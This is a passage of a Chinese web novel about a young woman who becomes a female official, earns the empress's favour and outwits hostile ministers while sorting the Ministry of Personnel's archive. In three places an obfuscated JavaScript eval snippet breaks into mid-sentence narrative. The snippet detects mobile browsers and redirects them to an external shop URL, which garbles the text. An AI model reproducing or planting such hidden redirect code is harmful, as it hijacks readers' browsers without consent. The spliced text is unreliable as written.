“姐姐，你和世子如今怎样？ “我选中女官，世子再不会再退婚了。” “太好了，等我升了六品女官，我要嫁给国公。” 姜桓月不由皱眉，多少人只将女官作为婚嫁的跳板。前世女皇也曾下过这道诏令，最后女官未能成势，怕不就是有这些缘故， 正思量间，一道飒爽的女声在姜桓月右侧响起。“既然选了女官，何必总想着嫁人生子，我可是奔着进内阁的。” 姜桓月展开眉心，身后的女子亦停住对话。姜桓月扭头，定定地望着身后女子，“学了那么多年，你们当真甘心吗？” 本朝崇尚才女，女子多习诗书以求良缘，但读了那么多史书，知道了天下模样，见到了四方宅院之外的世界，她们真的愿意就此困在闺阁之中？ 两女子默然，似乎回答不上来，眼神明明灭灭。 周围一时安静。 良久后，姜桓月与右侧女子相视一笑，四目相对时皆发现对方身上有与自己相似的东西。 “洛南，姜桓月。” “朔方，秋南翌。” 清晨白雾中，朱红宫城下，两人相对行礼，在不言中交托了彼此愿意为之奋斗一生的志向。 吱呀—— 沉重宫门打开。 姜桓月与秋南翌回到各自队列，依次迈入静谧的宫城，皇极宫就屹立在宫城正中。 此时，皇极宫大殿已布好桌案，姜桓月位次正对御座，抬眼便可看清女皇容颜。 入座后，右侧的女官倒吸了一口凉气，姜桓月却未紧张，还有心思偷瞄上首的女皇。 女皇眉目温和，不失威严，观之可亲可敬。她环顾众人，还在眼前的姜桓月身上不轻不重地顿了一下，尤其是她胸前的玉佩，这才朗声道，“诸位是我朝女中翘楚，今次殿擢，望俱抒壮志，显我大夏之威。” 殿擢开始，宫人发下考题，姜桓月凝眸细观，题只一道，问曰何以兴国。 姜桓月似有所悟，抬头望着女皇仿佛能容纳天地万物的双眸，更是心念一动。 瞬息之间，腹稿已成，执笔挥毫，一手铁画银钩自笔下流泻而出。 “臣以为，兴国之要，在于用人，用人不在性别之异，而在贤才之用……若拘于男女之别，将半数生民弃如敝屣，如车去一轮，舟失一楫。故当破樊篱而任贤能，有才者，不问男女皆可居其位；有功者，无论牝牡皆可受其赏……” 姜桓月思如泉涌，一字未停，通篇已然写就。 畅快！姜桓月肺腑之间豪情尽透，入京以来的郁气霎时消散。 无论是族人和刘家的觊觎，还是朝臣小吏的轻视，都是因着认为她是女子便软弱可欺。可姜桓月偏要走出一条无人可欺的路来。 姜桓月放下笔，抬头，面上俱是张扬，不巧正对上女皇含笑的双眼，张扬的面庞又染上了羞涩。 方才女皇一直在姜桓月身侧驻足，姜桓月正写至沉浸处，毫无所觉。 姜桓月座次在女皇眼下，唯一一个敢偷瞄女皇的她早引起女皇注意，再见她运笔如飞，女皇心生好奇，走下来看她纸上内容，愈发合了女皇心意。 见姜桓月写完，女皇伸手抽走姜桓月的考卷，通篇看完，更觉姜桓月就是她一直在等的济世英才。读至最后那句“使天下之贤，无分男女，各尽其智，各效其力，则邦基自固，国运自昌”，一声“好”险些脱口而出。 顾着仍在殿擢,女皇压下心中激荡，将考卷还给姜桓月，负手继续巡视众人。 众人瞥见女皇，心神动荡，一阵手忙脚乱，不是落笔污了试卷，就是打翻了砚台，吸气声此起彼伏，不由朝前边姜桓月的背影投去了哀怨的眼神。 姜桓月无暇顾及众人，她看着考卷落回桌案，绣金龙的衣角消失在视线，砰砰的心跳在耳中清晰可闻。 此刻，姜桓月无比确定，女皇想做的与她的志向一模一样。 她的眼前出现了大夏河山，出现了大夏千万女子。 那一霎，她甚至生出了愿为女皇效死念头。 交上考卷后，女皇留下了姜桓月。她坐在殿上，眉目含笑，“姜桓月，我观尔胸有丘壑，欲问你此生所求为何？” “臣所求，不为一己之荣，愿为天下女子张目，使天下皆知女子亦能策马安边、秉笔安内，女子之智不输须眉！” “好！尔若谨记志向，定有一展宏图之日。”女皇大慰。 姜桓月叩首，心驰神往，这一次女皇已近乎明示。 女皇的态度愈发和煦，“六部之中，你想去哪个？” “臣——”姜桓月瞟了眼肃立一旁的六部尚书，吏部王尚书的眉头皱得格外紧，“臣入京投贴曾得王尚书关照，愿去吏部。”“关照”二字，姜桓月咬得格外重，眼瞅着王尚书的脸倏地黑了下去。 “哦？”女皇眼里带着了然的笑意，隔空用眼神点了一下姜桓月，“准了。”又含笑看着王尚书，语气不容置疑，“王卿家可不许欺负朕新得的能臣。” 姜桓月朝王尚书眨眼。 王尚书黑着脸领命。 姜桓月又看向女皇，侧了侧头，在女皇通透的目光下有些不好意思。 三日后，殿擢结果已出，姜桓月位居榜首，身后一位就是秋南翌，姜桓月如愿进了吏部，秋南翌在户部。 明黄色金榜下，姜桓月与秋南翌互道恭喜，纤白的手掌再度交握。 …… 吏部值房，众人不住瞅着王尚书动静。 宫中旨意已行至衙门，众人皆知姜桓月要来吏部。姜桓月在吏部无人不识，事迹更是口口相传，有人按捺不住询问王尚书对姜桓月的安排。 王尚书没好气道：“可别了，只求她安生坐着。一个女娃娃懂什么，不过仗着圣人偏宠，不惹出乱子就谢天谢地了。圣人放这些女官入朝，都不知能做成什么事。” 旁边一人道，“可这女娃娃刁蛮，若不好生安排，怕是又要闹起来，到时吏部的名声不好听。” 王尚书冷笑：“她不想清闲，就让她理籍册去！库房里的那些少说不得整个十年八年，若出了乱子，也只在她一人身上。若有不满，就是告到圣上面前都没理，还正好让圣人看清这些女官的能耐……哪怕是进士入朝，还不是在翰林院从理书做起，谁不是这么过来的。” 众人恍然大悟，连连夸赞王尚书深谋远虑，计策妙极。 王尚书喝了口清茶，“这理籍册是个水磨功夫，姜桓月若熬不住，定然没脸呆在吏部，若是熬下来， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16569460|187034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 却也只能理籍册。” 吏部的籍册不似翰林院的典籍，上面俱是官员履历考核记录，若无积年老吏指点，姜桓月断然是看不明白，注定只能蹉跎岁月。 王尚书扫视众人，笑得别有深意，“再有三月就是京察，吏部会不会出乱子，还得诸位同僚共襄。” 京察本三年一次，上次恰巧遇上先帝驾崩，停了一回，如今已经过去六年。三个月内姜桓月要迅速上手理清六年籍册，简直是天方夜谭。 王尚书连姜桓月在吏部熬日子都不许，想尽早将姜桓月逐出吏部。 旁边那人会意，“王尚书放心，我等绝不容许这些女娃娃在吏部放肆，扰乱朝纲。” 又有一人道，“我看姜桓月迟早会受不住，乖乖回家相夫教子。”又顿了顿，戏谑道，“就是不知道哪位同僚能收服这个刺头了。” 王尚书拱手，“有诸位相助，吏部无忧矣。只要姜桓月出了差错，我便向圣人上书，革除女官。” 在王尚书与同僚商量的同时，宫中也有人在谈论姜桓月。 长乐殿。 女皇依坐在塌上，温和地望着歪坐在一旁的五皇子，“姜桓月还是你与我提起的，如今我派她去吏部，你怎么又不乐意了？” 五皇子撇嘴，“我是想让她做我的属官，吏部王老头为人奸猾，姜桓月去了岂不是任他捏扁搓圆。” 女皇正色道，“姜桓月有大志向，做皇子属官是埋没她了。但她现下只是幼苗，需好生磨砺方能经得起日后风浪，王尚书这个坎只能她自己过。”又郑重叮嘱五皇子，“你可不许捣乱。”五皇子是个唯恐天下不乱的性子，女皇担心五皇子参合其中，不仅不帮忙，还给姜桓月平添难度。 五皇子虽不耐但还是点头答应，“母皇就是偏心。” 女皇望向窗外，露出一抹浅淡的笑，“她们能走到这步已经受惯了太多的“偏心”，我偏心些她们也不为过。” 先帝朝时，女皇早显露出了远胜过她兄弟的才能，却是被放在最后考虑的帝王人选，连天生痴傻的皇弟都排在她之前。女皇吃够了偏心的苦，登基后一力扶持女官，就是为了不让后来者再吃她的苦。女官处境艰难，她亦看在眼里，一直等着合适的契机。 女皇对姜桓月有大期望，只希望姜桓月不要令她失望才好。 日渐西沉，女皇的侧颜染上了冷硬。 …… 众人对姜桓月各怀心思，姜桓月本人正在礼部领官服，因来得迟落在了队尾。 长队行进缓慢，许久未曾移动。姜桓月擦了擦额角的汗珠。 “我带你去个地方！”秋南翌忽然从侧边出现拽走姜桓月，又避着人带姜桓月沿巷道七拐八拐来到了一扇不起眼的小门前，“这里是吏部侧门。”秋南翌悄声告诉姜桓月。 门口有位小吏，秋南翌熟络地招呼小吏，“这位是吏部六品主事姜桓月，你把她的官服领出来。” 小吏并不多话，转身进去，不过一刻钟就捧着姜桓月的官服回来了。 本朝官服以颜色分品级，六品服绿。姜桓月的官服是碧色，泛着粼粼波光，触手光滑。 “这是余杭料子。”姜桓月一见便认了出来，她于此算是家学渊源，姜母善织，姜父通机关，二人珠联璧合，在世时将布匹生意做得极大。 “确是余杭的越绫，姜女官生了双慧眼！”秋南翌调侃姜桓月，她早从小吏那得知了消息。 姜桓月斜睨秋南翌一眼，不与她计较。 今日姜桓月与秋南翌二人领完官服，并未急着去府衙，而是寻了间酒楼，两人聊了一宿。 烛火昏黄，两人手中杯盏相碰，清亮的酒液在盏中摇晃，映出了她们明亮而坚毅的双眸，女子为官不易，可她们偏要做那开天辟地之人。 5. 初入吏部 清早，姜桓月往值房拜见王尚书。 一路行来，可谓万人侧目，连路过的雀儿都要多看她几眼。差事繁杂，好不容易有个乐子，吏部上上下下都等着她来。 值房内，王尚书笑得亲切，还命人给姜桓月上茶，“姜女官来了，圣人特意叮嘱我多多关照姜女官，我定不会让姜女官受累。” 姜桓月瞧见王尚书的笑，心中升起三分警惕，甚至疑心王尚书会在茶里下毒。 她与王尚书从来就不是什么和睦的关系，王尚书冷面以待，才是正常的态度，这般亲切怕是不怀好意。 姜桓月不冷不热回道，“我是来做实事，不是来享受的，王尚书不必有顾忌。”姜桓月不会让王尚书有借口将她晾在一旁，更话里藏针，暗讽王尚书浸淫官场半生竟忌惮她一个小小女官。 哪知王尚书不怒反喜，“好！我就等着姜女官这句话。姜女官务实，圣人眼光再好不过。” 又转而面露忧虑，“吏部现下正有一件难事，甲库籍册堆积多年，调用不便，甚至会延误差事，可吏部事务繁忙，眼下各主事都有差事，姜女官可愿意解吏部之忧？” 姜桓月笑了，原来王尚书是在这里等着她。甲库在吏部地位边缘，不受重视，王尚书多半是想随意打发她。 如果只是这样，王尚书劝退不了她，可姜桓月有些不确定，王尚书的算计真的这么简单吗？ 姜桓月抬眸，王尚书目光灼灼，眼含期待，仿佛姜桓月是王尚书最为器重的属下。 “好，我去！”姜桓月干脆应下。不论王尚书会如何，她都接招了。 王尚书微微错愕，收回了准备劝说的话。 周围人脸上显出了没来得及收好的遗憾，他们本以为姜桓月会大闹一场，能够看上一场好戏，不想姜桓月答应得如此痛快。 王尚书不见挫败，很快又挂上笑脸，派人领姜桓月去甲库。 甲库在吏部的最深处。姜桓月才进去，一股呛人的霉味直冲鼻腔，咳嗽不止，忙将帕子系在脑后，挡住口鼻。 甲库里是铺天盖地的籍册，籍架早已塞得没有一丝空当，后来的籍册只能摞在地上，最下层的那本封皮已经发黄朽坏，陈年籍册更是遍布尘灰。 姜桓月只听王尚书说甲库籍册堆积，没想到甲库是这般破败景象。姜桓月甚至疑心是王尚书故意将甲库糟践成这番模样来为难她。 “甲库是怎么回事？平日从来不规整吗？”姜桓月眉心紧皱，询问身旁的小吏。 “以前管甲库的白主事年纪大，精力有限，本就是勉强支应。自两年前他告老，甲库没了上官，代管员外郎亦无暇来看，只有我们四人轮班，慢慢就成这样了。” 姜桓月心知，这又是一段公案，两年前正是女皇登基初年，诸事忙乱，里面混杂着各方算计，只怕她捅出去也是吃力不讨好，追究不了任何人的责任。 “你们把这些都搬出去。” 姜桓月不再寻根究底，挽起袖子，开始整理进门处新入库的籍册。 吏部多年积攒不是一时半会儿能够理清的，甲库籍册不仅要清扫修补，还需按着次序归类入库。 费了大半日，姜桓月弄得灰头土脸，也只将进门处籍册简单清扫。小吏们叫苦不迭，一小吏瘫坐在地，气喘吁吁，“姜主事歇歇吧，我们实在是干不动了。” 姜桓月腰酸背痛，亦觉不能蛮干，“好！大伙儿都歇息。” 几人一同在甲库外台阶上坐下，姜桓月仰头望天，万里澄明，腹中盘算着后续安排。 姜桓月不急。 甲库不是一日变成现在的模样，亦不可能一日就能理清。王尚书想以此困住他，没那么容易。 她舒展双肩，余光瞥见两侧小吏个个东倒西歪、难掩疲色，便索性起身，拍了拍衣裙。 “今日先理到这，余下的明日再接着理。” 小吏们不由欢呼，姜桓月则独自回到值房。 值房内，各司主事们都在，远远的姜桓月能听见他们的笑声从窗缝飘出。 姜桓月推门而入，里面声音戛然而止。 主事们放下笑容，不再交谈，摊开桌上的公文，各自忙碌开。 房里一片冷寂，只能听见哗哗的书页翻动之声。 姜桓月收回已在嘴边的话，走到自己座位，凝视着身旁最近的那位主事，直至他动作愈发迟疑，眼中泛起慌乱，才轻笑一声移开视线。 这声轻笑在安静的值房中格外清晰，惊落了那位主事手中的毛笔。 “白主事这是怕了我不成？” “姜女官，吏部乃枢要，不可狎戏。”白主事一脸板正，目不斜视。 姜桓月只觉好笑。 吏部众人将姜桓月视如无物，只要姜桓月走近，众人便会停下交谈，各自散去，唯有王尚书不时关照姜桓月，但姜桓月从未在王尚书面前抱怨一个字。 姜桓月不在意受到的冷遇，笑容不改，日日按时点卯，再往甲库里一钻，下值后只与同批的女官交游往来，自得其乐。 这让那些等着姜桓月再次大闹吏部的人，大失所望。 在众人目光逐渐从甲库转移时，姜桓月去找了王尚书。她规整了几日，甲库过于杂乱而人手极为有限，预备向王尚书要人。 王尚书听后不住颔首，“姜主事说的有理，可吏部人员紧缺，一时间估计抽不出人手……”沉吟片刻，又道，“这样，我先替你问问各司的郎中和主事。” 当即派人去问，各郎中和主事多推说手上差事紧要，没有能借用的人手。 文选司李郎中道：“文选司忙得连轴转，别说借人，都还要问其他司讨要人手。我看甲库差事也不重，不如暂且停下，让他们先来文选司帮忙。” 姜桓月听见此话，不由讥笑，“昨日午间还见李郎中有闲心逛茶馆，李郎中说忙，我是一个字不信。用托辞敷衍我也就算了，明知甲库忙，还故意从甲库要人，这是瞧不起我。” 她欲冲去与李郎中对质，王尚书忙带人拦下，劝道：“姜女官莫急，我这儿刚有两位主事传话说能送来人手。” 姜桓月暂时按住情绪，可等人送到跟前，她一看，气笑了，一个是牙齿快要掉光，连话也听不清的糊涂老头，一个是头发发黄，满脸稚气的半大孩子。 若是他们来了甲库，姜桓月都不知道自己到时候是该照顾这一老一小，还是该继续规整籍册。 两位主事能在吏部挑中这两人委实不易。姜桓月诡异地生出了一丝这两位主事佩服。 这吏部上上下下对她还真是“齐心”，变着法儿的使绊子，姜桓月心中滋味难言，多少能理解为何女皇登基三年来一力扶持女官却始终未能成势。 王尚书亦是差点被同僚逗笑，太阳穴抽动，竭力绷紧面皮，感叹：“姜主事，你也看到了，各司属实抽不出人手，不如你先领这两人回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16569461|187034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去，若再有旁的人手，我也给你送去。” “这人我可用不起，还是请王尚书自己留着吧。”姜桓月不领情，沉着脸，转身离去。 在王尚书那碰壁后，姜桓月反倒有了倚仗，顺理成章放弃了尽早理清甲库籍册的想法，每日能理多少便是多少，到点下值，日子轻松快意，直惹得吏部众人红了眼。 文选司着人来催促，姜桓月双手一摊，便开始皱眉诉苦： “甲库人手不够啊！” “你们李郎中说了甲库不是紧要地方，不能增派人手。” 这话噎住了文选司来人，姜桓月搬出李郎中原话，来人不好反驳，只能无奈退去。 众人都在看李郎中的笑话，私下对着李郎中指指点点。 李郎中恼羞成怒，一连几日避着人，茶馆不去了，下值也留到最后一个才走。李郎中越想越不肯吃下这个暗亏，向王尚书告状： “王尚书，这姜桓月实在可恶！自从拒给甲库增加人手，甲库是一日比一日松散，文选司的差事都要被耽误了，究竟什么时候才能送走她？” “姜桓月是个能沉住气的，你先别惹她。她虽能躲过这次，但以她现在进度，八月京察有她苦头吃的。”王尚书拨弄着手边的熏香炉，慢条斯理地回道。 瞅着姜桓月的惬意，王尚书不是没怀疑姜桓月有意下套，但王尚书不惧，他还有后手等着姜桓月。 李郎中闻言，笑得不怀好意，仿佛已瞧见三月后姜桓月焦头烂额的模样，“京察不利轻则贬官，重则下狱。姜桓月现在舒坦，哪知马上就要大祸临头了！” “记着，不要急于一时胜负，要看长远。这回是圣人登基后的头一次京察，天下都看着，哪怕女皇有心袒护，姜桓月也是在劫难逃！”王尚书合拢香炉，语气逐渐带上了狠厉。 李郎中再无不满，日后再遇着姜桓月，眼里多出了几分高高在上的轻蔑。姜桓月在他心中已注定会落败离开。 姜桓月神色不见异样，却已将李郎中记在心头。 - 傍晚，姜桓月匆匆下值，进了留仙居，小二一见便引她上楼，“姜主事可算来了。” 楼上雅间内正围坐着一群年轻女子，都是参加今次殿擢的熟悉面孔。姜桓月上楼的动静传到雅间，众人道：“定是桓月！如今只差她了。” “桓月来迟了，该罚酒！”秋南翌起身出来迎姜桓月。 两人一见，都笑开了，秋南翌端详姜桓月，不禁抱怨，“那吏部真是个折磨人的地方，瞧着你都憔悴了。” “怎么会？南翌知道我不会忍气吞声的，那王尚书，还有李郎中可被我气得够呛。”姜桓月笑得异常明丽。 众人们亦是大笑，当中一人道，“我听说了，那李郎中连往日最爱去的茶楼都不好意思去了，下值也是最后一个走。” 姜桓月状似腼腆地挥了挥手帕，“区区小事，不足挂齿。” 众人笑得更厉害了。 秋南翌却面色凝重，“桓月，素来没有千日防贼的道理，我怕你不留神就中了算计，要不你还是离了吏部，换个地方吧。等日后，我们羽翼丰满再回来收拾他们。”秋南翌在户部，虽不似姜桓月举步维艰，但也吃了好几个暗亏，不再似当初那般莽撞，想到姜桓月处境更难，不由心惊。 姜桓月浅笑，“我心里有数，南翌不用担心我。”又眼色微凝，压低声音，“上次我托你寻的人？” 6. 再生警惕 “找到了，明日你到吏部就能见着，绝不会误事。我家世代胥吏，寻个人还不容易。” 姜桓月双眸晶亮，“南翌别谦虚，你嘴上说得轻巧，前日我才托你寻善理甲库的熟手，若没动用族中资源，如何能这么快找到合适人选。我必须好好谢你！”甲库籍册繁浩，有熟手相助姜桓月多了一重把握。 秋南翌还要再说什么，众人见二人迟迟不来，开始催促：“你们俩怎么还站着，菜都凉了，还不快来。” 姜桓月和秋南翌忙进去坐下，众人喝酒吃菜，谈话间，不免再提及各自境遇。 “工部这边只给我派些抄写的活儿，这日日下来我手上都磨出茧子了。” “你这还算好的，我进的兵部，里边差事早分好了，我什么事都插不上手。” 众人授官时意气风华，踌躇满志，进了官场却备受冷待，方知为官不易，未免沮丧。 席间气氛骤一时沉重，众人神情低落。 忽而，旁边一人开口，刹那间扫去席间众人愁绪。 “还是桓月厉害，能和吏部的老狐狸王尚书有来有往的交手，若我去吏部，恐怕一天也待不下去。” 另一人附和，“是啊！真想和你一样！” 众人眼底都是羡慕，还有微弱的期待，包括姜桓月殿擢那日遇到的，两位一心婚嫁的女子。 唯有秋南翌脸上笼罩着心疼之色。 姜桓月在桌下握住秋南翌手背，回望众人，“他们不过比我们多做几年官，我们彼此扶持，总有一日会胜过他们。如今冷待我们，更证明他们觉得我们是威胁，害怕我们。”她声音坚定，携着不可动摇的力量。 众人闻言豁然开朗，斗志再起，姜桓月的话推开了她们眼前紧闭的窗。 姜桓月窥着众人神色渐舒，举起酒盏，朗声道：“愿诸君各展宏图，他日名昭青史！”满饮一杯，露出杯底遍视众人。 席中灯火通明，众人面色潮红，久久不能平静，捏紧手中杯盏，仰头，仿效姜桓月满饮杯中酒。 席散后姜桓月与秋南翌相伴而行。 浓浓暮色中，秋南翌凝视姜桓月，郑重叮嘱：“桓月，我知你心意坚定，就不劝你离开吏部了。可你一定要当心，我听家中长辈说起，王尚书出身西北边陲，一无家世背景，二无师长提携，却能娶得世家贵女，成为先帝留下的辅政大臣、吏部尚书，决不是那么简单。 秋南翌眼底深沉，“上回女皇提拔的女官被解职，背后就有王尚书的影子。” 姜桓月严肃点头，她本就警惕王尚书，得了秋南翌的话更不敢轻忽。 秋南翌愈发严肃脸，又侧头低声说了什么，姜桓月露出似笑非笑的怪异神色，与秋南翌交谈了几句，秋南翌紧绷的面部逐渐舒缓，甚至带上了一抹浅笑。 …… 次日，姜桓月到甲库时，里面格外安静，有些诧异。 “姜主事，是金吏目来了！”一小吏凑上前告诉姜桓月。 见姜桓月不解，小吏道：“金吏目在吏部已经快二十年，吏部的差事没有他不知道的，朝中大人的履历倒背如流，最厉害还是一手断公文的本事，他有个诨名，唤作“一字太岁”，说的就是他这个本事。” “只是——”小吏的脸皱成了苦瓜，“金吏目人太过严肃，走到哪都像带着冰渣，轻易不敢有人在他面前放肆。他已有些日子不在甲库，不知怎么突然又回来轮值了。” 姜桓月眼眸微顿，仿佛想起什么，走进甲库，里面确实有个没见过的人影，应该就是小吏口中的金吏目。 金吏目面目冷峻，行止老练利落，正好转身与姜桓月目光相接。 姜桓月对着那双沉静的双眸，心中生出一股笃定，金吏目就是她要找的人。 金吏目冲姜桓月点头示意，从金吏目的姿态里，姜桓月看到了几分秋南翌的影子。 “金吏目，我是负责甲库的主事姜桓月。”姜桓月边说边与金吏目二人隐入了库房角落。 “南翌与我说起过姜主事，姜主事有能用上我的，尽管吩咐。”金吏目不熟练地弯起嘴角，露出个别扭的笑。 姜桓月直言，“金吏目在吏部多年，清楚甲库籍册情状，依金吏目所见，如今人手不足该用什么法子？” “姜主事，甲库有多少人？” “算上我共五人。” “五人整理甲库足矣，无需增加人手。” 金吏目这句话惊到了姜桓月，她瞪圆双眼：“金吏目不是在说笑？自五月初我来吏部，日日不停，才理清了近半月的籍册。” 金吏目不紧不慢，说出事实佐证，“先帝朝时，我曾与三人在两月内重理大夏三年籍册。” 姜桓月看着金吏目笃定的模样，忽然，福至心灵，“金吏目是有什么窍门？“ 金吏目摇头：“不算窍门，理过卷宗籍册的吏员多半都知道。” “那甲库吏员怎么不知，莫非，他们在欺瞒我？” 姜桓月心下一沉，幸而问了金吏目。她是上官，小吏们知而不言，多半怀有贰心，说不准里面就有王尚书的探子。 她还是不够警惕！ 秋南翌再三叮嘱王尚书不能小觑，姜桓月还是中了圈套。她素日行事没太过避着小吏，一旦到关键时刻，这些事先埋好的钉子就能给她狠狠一击。 姜桓月咬紧下唇，心口憋闷。 金吏目未即刻回答姜桓月，仔细打量一圈库房后，拧眉道：“不怪他们，他们确实不知。上一任白主事不愿告老，留了一手，他们无人指点，甲库才会变成这样。” 姜桓月松开唇，金吏目顺手从旁边抽出一本籍册，看了看封皮，再翻开几页，微微颔首，将籍册递给姜桓月。 “姜主事，你看这儿。”金吏目指着籍册隐蔽处的三个不规则小点，“这是经办书记留下的记号，代表宣宁三年沧州，相同记号的籍册可先归于一处，再继续细分。这记号，各地经办文书俱是心照不宣，不单吏部，凡有行文的地方皆是如此。” 姜桓月明悟，有这些记号，再不必逐一翻开籍册，整理时自然可事半功倍，难怪金吏目说人手足够。 有金吏目指点，甲库整理进度“一日千里”。 但姜桓月刻意避开了进门处的籍册，从甲库最深处开始理，间或还会从门口堆积的籍册中抽出几本。 外人看来，甲库依旧杂乱无章。 李郎中见了，得意嘴脸愈发遮掩不住，时常来甲库晃悠。 王尚书虚情假意地询问姜桓月是不是遇到了什么难处，若姜桓月提出让他解决，却只会拿车轱辘话搪塞。 金吏目有所耳闻。 一日，李郎中又来，姜桓月应付完李郎中，在金吏目前抱怨：“李郎中与王尚书沆瀣一气，别以为我看不出他们私下的谋算。” 金吏目默默听着，手下动作未停，忽然，将几本籍册摆在姜桓月面前，“甲库所藏籍册皆称为甲历，录有官员出身、履历、考绩及官职起落，姜主事能从这几本甲历看出什么？” 姜桓月拿起甲历，侧头细看，嘴角逐渐平直。她反复对照着甲历中状似平常的几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16569462|187034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 段话，眼眸染上惊诧，“李郎中与王尚书不是一派！” “为何？” 姜桓月合上籍册，心神震荡，一股麻意从头皮蔓延，顺着脊柱直透背心，“因为李郎中出身江东，背后是整个江东士族，王尚书出身陇右，与京城世家杨氏结亲前，受过江东士族打压。”姜桓月一直以为李郎中是王尚书心腹，没有想到面上和睦的二人竟有宿怨。 而告诉她真相的，只是面前这几本与王、李二人似乎毫无关联的甲历。 姜桓月感受到了金吏目见微知著的本事，甲库中籍册不止千万，与王尚书、李郎中有关的更是不少，金吏目却能从中挑出最关键的几本。 甲历记载朝臣官场沉浮的所有轨迹，一般人只能从中读出朝臣生平履历，可如金吏目这般的高手却能根据这些不同甲历的勾连印证，看出朝臣恩怨派系、内里阴私。 姜桓月心生景仰，起身肃立，深深朝金吏目施了一礼，声音略微发颤：“请金吏目教我！” 金吏目亦起身整衣，敛容收色回礼，肃穆颔首。 姜桓月自此得金吏目教导，潜心钻研甲历中关窍，更发现吏部表面平静下暗潮涌动。 - 午后，光线顺着窗纱洒入耳房，桌上摆着三本甲历，纸张碰撞间姜桓月双眸闪烁，她难掩兴奋，朝坐在对侧的金吏目道，“王尚书的心腹是不是素日里看起来与他最不亲近的周侍郎？” “为何？” “周侍郎十五年前曾在进京途中与王尚书相遇，不久后便调回京中，经手此事的人是看似是当时王尚书的对头，实则是那人的副手——王尚书的门生。” 金吏目的严肃脸流露出满意之色，“不错，我的本事姜主事已经学到了七分，剩下的只能靠慢慢历练了。” 姜桓月眉眼弯弯，“是金吏目教导得好！” 金吏目耳根微微泛红，轻咳一声，“我还有样东西要教你，你该知道我有个诨名叫“一字太岁”？” 姜桓月抿唇赧笑。 “我要教你的就是令我被称作“一字太岁”的本事。” 金吏目依旧拿起桌上一本甲历，里面正好记的是周侍郎，“方才提到周侍郎调回京中，周侍郎每年考评都是中，按理只能平调，他回京是靠了这个。” 姜桓月细读考语，上面写的是“治西洲三载，垦田修渠，诸事无过。” “初时，这份考语上写的是治西洲三载，垦田修渠，诸事无‘功’。” 周侍郎的两次考评，只一个字之差，含义却天差地别。 金吏目不过寥寥数语，姜桓月脑中却是灵光闪过，顿悟，“《春秋》凭一字喻褒贬，这甲历何尝不是如此？” 姜桓月垂眸思索片刻，摩挲着那个“功”字，复又抬头，语气笃定：“我猜周侍郎最初的考评，定然也有人做了手脚。” “姜主事所言不错，周侍郎当时治西洲，劝课农桑，垦良田千亩，不乏政绩，足矣评中上，甚至上上。” 金吏目毫不藏私，尽数向姜桓月讲述这其中阴私，姜桓月再看甲历，更有了不同体悟。 “考语区区几行字能干系官员前程，最紧要也最容易被有心之人做手脚。如同是垦良田千亩，用‘兴利’还是‘逐利’含义天差地别，再如勤‘恤’生民与勤‘扰’生民亦是……如今库中所藏多半已抹去当初痕迹，待八月京察，能从各地呈报中看出更多。” “八月京察？” “对，甲库历来此时最磨人，也最易出差错。” 姜桓月呼吸微滞，指尖顿住。 7. 意外发现 姜桓月脑中走马灯似的掠过这些日子王尚书的温和和林侍郎的轻蔑。原还奇怪，最近他们为何没有动静，是在这儿等着她。 她脸色未变，淡淡问道：“金吏目对我知无不言，连连胥吏世代家传、轻易不示外人的手段都逐一细说，不怕动摇在吏部的根基，成为众矢之的？”姜桓月看出了金吏目有意提醒。 金吏目没料到姜桓月问得如此直接，平静的眼底掀起波澜，语气略微低沉：“我们想改换门庭，已经等太长日子了。” “我们世代胥吏、温饱不愁，但无论做得再好，都永远只能是胥吏，成不了真正的官。” 金吏目声音冷硬，却又透着几分迫切，“姜主事你是我们一直在等的机会。” 姜桓月直视金吏目双眸，挑眉：“金吏目为何信我？我只是一个六品小官，王尚书根本不愿意让我留在吏部。” “我信姜主事绝不会止步于此，愿意跟随姜主事赌一把。还有，其实我是……南翌的舅舅，南翌和我说起过你……” 金吏目斟酌着言辞，话里愈发迟疑。 “因为南翌是女官，注定与我结盟，不如助我一臂之力，而且你试探过我三次，我三次皆过，认为我能够撑起女官的势头。”第一次指点姜桓月快速理清甲库的窍门，考察她的心性，第二次传授姜桓月官场行文的隐秘，观察她的悟性，第三次暗示姜桓月八月京察的危机，考察她的敏锐。 姜桓月说出了金吏目的未尽之语，金吏目忙道：“桓月千万别误会南翌，我们是瞒着她做这些的。”说罢，想要挪开视线，却又极力克制。 姜桓月见金吏目的模样，莞尔一笑，“不必担心我会生气。我懂金吏目的忧虑，若我没有能耐，只会把金、秋两家拉入深渊，也就没有帮我的必要。就算我没有通过金吏目的考验，因着南翌的情谊，定然也还是会指点我。”只是不会拉上族人全力相帮。 